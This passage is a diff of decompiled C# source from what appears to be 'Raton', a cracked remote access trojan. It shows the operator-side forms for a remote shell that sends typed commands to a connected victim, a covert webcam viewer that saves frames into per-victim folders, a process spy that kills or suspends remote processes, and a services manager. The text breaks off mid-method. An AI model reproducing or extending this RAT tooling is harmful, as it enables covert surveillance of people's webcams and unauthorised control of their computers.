private void refreshToolStripMenuItem_Click(object sender, EventArgs e) => this.SendList();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonServices));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.startToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.stopToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.restartToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.None;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(561, 591);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Service";
|
||||
this.columnHeader1.Width = 155;
|
||||
this.columnHeader2.Text = "Name";
|
||||
this.columnHeader2.Width = 145;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.Width = 118;
|
||||
this.columnHeader4.Text = "Type";
|
||||
this.columnHeader4.Width = 139;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[4]
|
||||
{
|
||||
(ToolStripItem) this.startToolStripMenuItem,
|
||||
(ToolStripItem) this.stopToolStripMenuItem,
|
||||
(ToolStripItem) this.restartToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(118, 92);
|
||||
this.startToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.startToolStripMenuItem.Image = (Image) componentResourceManager.GetObject("startToolStripMenuItem.Image");
|
||||
this.startToolStripMenuItem.Name = "startToolStripMenuItem";
|
||||
this.startToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.startToolStripMenuItem.Text = "Start";
|
||||
this.startToolStripMenuItem.Click += new EventHandler(this.startToolStripMenuItem_Click);
|
||||
this.stopToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.stopToolStripMenuItem.Image = (Image) Resources.Stop_16x;
|
||||
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
|
||||
this.stopToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.stopToolStripMenuItem.Text = "Stop";
|
||||
this.stopToolStripMenuItem.Click += new EventHandler(this.stopToolStripMenuItem_Click);
|
||||
this.restartToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.restartToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.restartToolStripMenuItem.Name = "restartToolStripMenuItem";
|
||||
this.restartToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.restartToolStripMenuItem.Text = "Restart";
|
||||
this.restartToolStripMenuItem.Click += new EventHandler(this.restartToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(117, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "SettingsOutline_16x.png");
|
||||
this.label1.Dock = DockStyle.Fill;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(0, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(561, 591);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Loading...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(561, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonServices);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonServices);
|
||||
this.Load += new EventHandler(this.ratonServices_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,104 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonShell
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonShell : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox2;
|
||||
public TextBox textBoxConsole;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonShell()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void textBox2_Enter(object sender, EventArgs e) => this.textBox2.Clear();
|
||||
|
||||
private void textBox2_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode != Keys.Return || this.SillyClient == null || string.IsNullOrEmpty(this.textBox2.Text.Trim()))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Shell");
|
||||
pack.SetString("Command", this.textBox2.Text.Trim());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.textBox2.Text = string.Empty;
|
||||
}
|
||||
|
||||
private void ratonShell_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonShell_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopShell");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonShell));
|
||||
this.textBoxConsole = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBoxConsole.BackColor = SystemColors.InactiveCaptionText;
|
||||
this.textBoxConsole.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBoxConsole.Cursor = Cursors.Default;
|
||||
this.textBoxConsole.Dock = DockStyle.Fill;
|
||||
this.textBoxConsole.Font = new Font("Consolas", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBoxConsole.ForeColor = SystemColors.Window;
|
||||
this.textBoxConsole.Location = new Point(0, 0);
|
||||
this.textBoxConsole.Multiline = true;
|
||||
this.textBoxConsole.Name = "textBoxConsole";
|
||||
this.textBoxConsole.ReadOnly = true;
|
||||
this.textBoxConsole.Size = new Size(756, 478);
|
||||
this.textBoxConsole.TabIndex = 0;
|
||||
this.textBox2.Dock = DockStyle.Bottom;
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(0, 456);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(756, 22);
|
||||
this.textBox2.TabIndex = 1;
|
||||
this.textBox2.Text = "Type your command here and press enter to send it";
|
||||
this.textBox2.Enter += new EventHandler(this.textBox2_Enter);
|
||||
this.textBox2.KeyDown += new KeyEventHandler(this.textBox2_KeyDown);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(756, 478);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBoxConsole);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonShell);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonShell);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonShell_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonShell_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,271 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonWebcam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonWebcam : Form
|
||||
{
|
||||
public Stopwatch sw = Stopwatch.StartNew();
|
||||
public int FPS;
|
||||
private IContainer components;
|
||||
private Panel panel1;
|
||||
private Timer timer1;
|
||||
public PictureBox pctBoxWebcam;
|
||||
private Panel panel2;
|
||||
private Label label1;
|
||||
public FlatComboBox flatComboBox1;
|
||||
private Label label2;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem saveFrameToolStripMenuItem;
|
||||
private MenuStrip menuStrip1;
|
||||
private ToolStripMenuItem toggleConfigurationToolStripMenuItem;
|
||||
public RgbBuildButton button1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonWebcam()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonWebcam_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void ratonWebcam_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopWebcam");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (this.button1.Text == "Start")
|
||||
{
|
||||
this.flatComboBox1.Enabled = false;
|
||||
this.button1.Text = "Stop";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Webcam");
|
||||
pack.SetInt("Cam", this.flatComboBox1.SelectedIndex);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.panel2.Visible = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.flatComboBox1.Enabled = true;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopWebcam");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.button1.Text = "Start";
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonWebcam_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void saveFrameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str1 = Path.Combine(Program.ClientsFolder, this.SillyClient.uid);
|
||||
if (!Directory.Exists(str1))
|
||||
return;
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filename = Path.Combine(str1, $"Webcam_{str2}.png");
|
||||
if (this.pctBoxWebcam.Image == null)
|
||||
return;
|
||||
using (Bitmap bitmap = new Bitmap(this.pctBoxWebcam.Image))
|
||||
bitmap.Save(filename, ImageFormat.Png);
|
||||
int num = (int) Messenger.MessageBox("Frame saved in\n" + filename, "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
private void panel2_Paint(object sender, PaintEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Tag == (object) "meow")
|
||||
{
|
||||
this.Tag = (object) "nomeow";
|
||||
this.panel2.Visible = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Tag = (object) "meow";
|
||||
this.panel2.Visible = true;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonWebcam));
|
||||
this.panel1 = new Panel();
|
||||
this.panel2 = new Panel();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.label2 = new Label();
|
||||
this.label1 = new Label();
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.pctBoxWebcam = new PictureBox();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.saveFrameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.menuStrip1 = new MenuStrip();
|
||||
this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.panel1.SuspendLayout();
|
||||
this.panel2.SuspendLayout();
|
||||
((ISupportInitialize) this.pctBoxWebcam).BeginInit();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.menuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.panel1.BackColor = SystemColors.AppWorkspace;
|
||||
this.panel1.Controls.Add((Control) this.panel2);
|
||||
this.panel1.Controls.Add((Control) this.pctBoxWebcam);
|
||||
this.panel1.Controls.Add((Control) this.menuStrip1);
|
||||
this.panel1.Dock = DockStyle.Fill;
|
||||
this.panel1.Location = new Point(0, 0);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(829, 535);
|
||||
this.panel1.TabIndex = 0;
|
||||
this.panel2.Controls.Add((Control) this.button1);
|
||||
this.panel2.Controls.Add((Control) this.label2);
|
||||
this.panel2.Controls.Add((Control) this.label1);
|
||||
this.panel2.Controls.Add((Control) this.flatComboBox1);
|
||||
this.panel2.Location = new Point(0, 24);
|
||||
this.panel2.Name = "panel2";
|
||||
this.panel2.Size = new Size(349, 144 /*0x90*/);
|
||||
this.panel2.TabIndex = 1;
|
||||
this.panel2.Paint += new PaintEventHandler(this.panel2_Paint);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_eye_show_24_filled;
|
||||
this.button1.IconSize = 26;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(18, 86);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(313, 42);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Start";
|
||||
this.button1.Click += new EventHandler(this.button1_Click_1);
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(18, 28);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(313, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Press escape to see this menu again";
|
||||
this.label2.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(18, 12);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(313, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Select a webcam";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.flatComboBox1.FlatStyle = FlatStyle.Flat;
|
||||
this.flatComboBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Location = new Point(18, 56);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(313, 23);
|
||||
this.flatComboBox1.TabIndex = 0;
|
||||
this.pctBoxWebcam.BackColor = SystemColors.ActiveBorder;
|
||||
this.pctBoxWebcam.BackgroundImage = (Image) Resources.CameraOutline_16x;
|
||||
this.pctBoxWebcam.BackgroundImageLayout = ImageLayout.Center;
|
||||
this.pctBoxWebcam.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.pctBoxWebcam.Dock = DockStyle.Fill;
|
||||
this.pctBoxWebcam.Location = new Point(0, 24);
|
||||
this.pctBoxWebcam.Name = "pctBoxWebcam";
|
||||
this.pctBoxWebcam.Size = new Size(829, 511 /*0x01FF*/);
|
||||
this.pctBoxWebcam.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
this.pctBoxWebcam.TabIndex = 0;
|
||||
this.pctBoxWebcam.TabStop = false;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.saveFrameToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(133, 26);
|
||||
this.saveFrameToolStripMenuItem.Image = (Image) Resources.Save_grey_16x;
|
||||
this.saveFrameToolStripMenuItem.Name = "saveFrameToolStripMenuItem";
|
||||
this.saveFrameToolStripMenuItem.Size = new Size(132, 22);
|
||||
this.saveFrameToolStripMenuItem.Text = "Save frame";
|
||||
this.saveFrameToolStripMenuItem.Click += new EventHandler(this.saveFrameToolStripMenuItem_Click);
|
||||
this.menuStrip1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.toggleConfigurationToolStripMenuItem
|
||||
});
|
||||
this.menuStrip1.Location = new Point(0, 0);
|
||||
this.menuStrip1.Name = "menuStrip1";
|
||||
this.menuStrip1.Size = new Size(829, 24);
|
||||
this.menuStrip1.TabIndex = 2;
|
||||
this.menuStrip1.Text = "menuStrip1";
|
||||
this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x;
|
||||
this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem";
|
||||
this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20);
|
||||
this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration";
|
||||
this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(829, 535);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.KeyPreview = true;
|
||||
this.MainMenuStrip = this.menuStrip1;
|
||||
this.Name = nameof (ratonWebcam);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Tag = (object) "meow";
|
||||
this.Text = nameof (ratonWebcam);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonWebcam_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonWebcam_Load);
|
||||
this.KeyDown += new KeyEventHandler(this.ratonWebcam_KeyDown);
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.panel2.ResumeLayout(false);
|
||||
((ISupportInitialize) this.pctBoxWebcam).EndInit();
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.ResumeLayout(false);
|
||||
this.menuStrip1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,275 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonWindows
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonWindows : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader6;
|
||||
private ColumnHeader columnHeader5;
|
||||
private Timer timer2;
|
||||
public Timer timer1;
|
||||
public ImageList imageList1;
|
||||
private ToolStripMenuItem processInformationToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshProcessToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem pauseProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem killProcessToolStripMenuItem;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem resumeProcessToolStripMenuItem;
|
||||
private ColumnHeader columnHeader4;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader1;
|
||||
public AeroListView aeroListView2;
|
||||
public Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonWindows()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonWindows_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void Command(string command)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString(nameof (Command), command);
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = "This is taking too long, maybe bad connection?";
|
||||
}
|
||||
|
||||
private void aeroListView2_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Kill");
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void pauseProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Pause");
|
||||
}
|
||||
|
||||
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Resume");
|
||||
}
|
||||
|
||||
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void changeColor(string name)
|
||||
{
|
||||
foreach (ListViewItem listViewItem in this.aeroListView2.Items)
|
||||
{
|
||||
if (string.Equals(listViewItem.Text.Trim(), name, StringComparison.OrdinalIgnoreCase))
|
||||
listViewItem.ForeColor = Color.LightCoral;
|
||||
}
|
||||
}
|
||||
|
||||
private void processInformationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "Info");
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonWindows));
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.processInformationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.pauseProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.killProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.resumeProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
